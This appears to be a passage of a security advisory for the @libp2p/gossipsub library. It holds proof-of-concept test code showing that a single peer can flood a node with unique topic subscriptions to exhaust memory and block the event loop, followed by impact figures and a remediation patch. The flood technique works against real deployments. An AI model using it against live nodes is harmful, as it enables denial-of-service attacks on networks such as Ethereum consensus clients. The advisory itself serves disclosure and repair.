Details
const attackerIdStr = attacker.components.peerId.toString()
// Flood with unique topics
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
poc-persist-${i.toString().padStart(6, '0')},
true
)
}
const topicsBeforeDisconnect = victimPubsub.topics.size as number
// Simulate peer disconnect, this removes the peer ID from each Set but
// does NOT delete empty Sets from this.topics.
const tDisconnect = performance.now()
victimPubsub.removePeer(attacker.components.peerId)
const disconnectMs = performance.now() - tDisconnect
const topicsAfterDisconnect = victimPubsub.topics.size as number
console.log(\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()})
console.log([PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()})
console.log([PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan))
console.log([PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed)
// Topics Map is unchanged in SIZE — empty Sets persist
assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,
this.topics.size should be unchanged after disconnect (empty Sets persist); +
was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect})
// removePeer O(N) scan should take non-trivial time with 349K entries
assert.ok(disconnectMs > 5,
expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms)
// Verify Sets are actually empty (peer removed from each)
let emptyCount = 0
for (const [, peers] of victimPubsub.topics) {
if ((peers as Set<string>).size === 0) emptyCount++
}
assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,
expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount})
})
it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {
this.timeout(30_000)
const MAX_LP_BYTES = 4 * 1024 * 1024
// Find exact maximum with binary search
const maxCount = maxTopicsIn4MB()
const rpc = buildSubscriptionFloodRpc(maxCount)
const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4
console.log(\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()})
console.log([PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB)
console.log([PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB)
console.log([PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'})
console.log([PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap))
console.log([PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification))
assert.ok(rpc.byteLength <= MAX_LP_BYTES,
crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection)
assert.ok(maxCount > 100_000,
expected >100K subscriptions per 4 MB frame, got ${maxCount})
})
})
### Impact
- **Availability (memory)**: single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.
- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.
- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.
- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.
- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.
### Suggested remediation
Delete empty Sets on unsubscribe and disconnect:
```typescript
// handleReceivedSubscription
} else {
topicSet.delete(from.toString())
if (topicSet.size === 0) this.topics.delete(topic)
}
// removePeer
for (const [topic, peers] of this.topics) {
peers.delete(id)
if (peers.size === 0) this.topics.delete(topic)
}
Clear this.topics in stop():
this.topics.clear()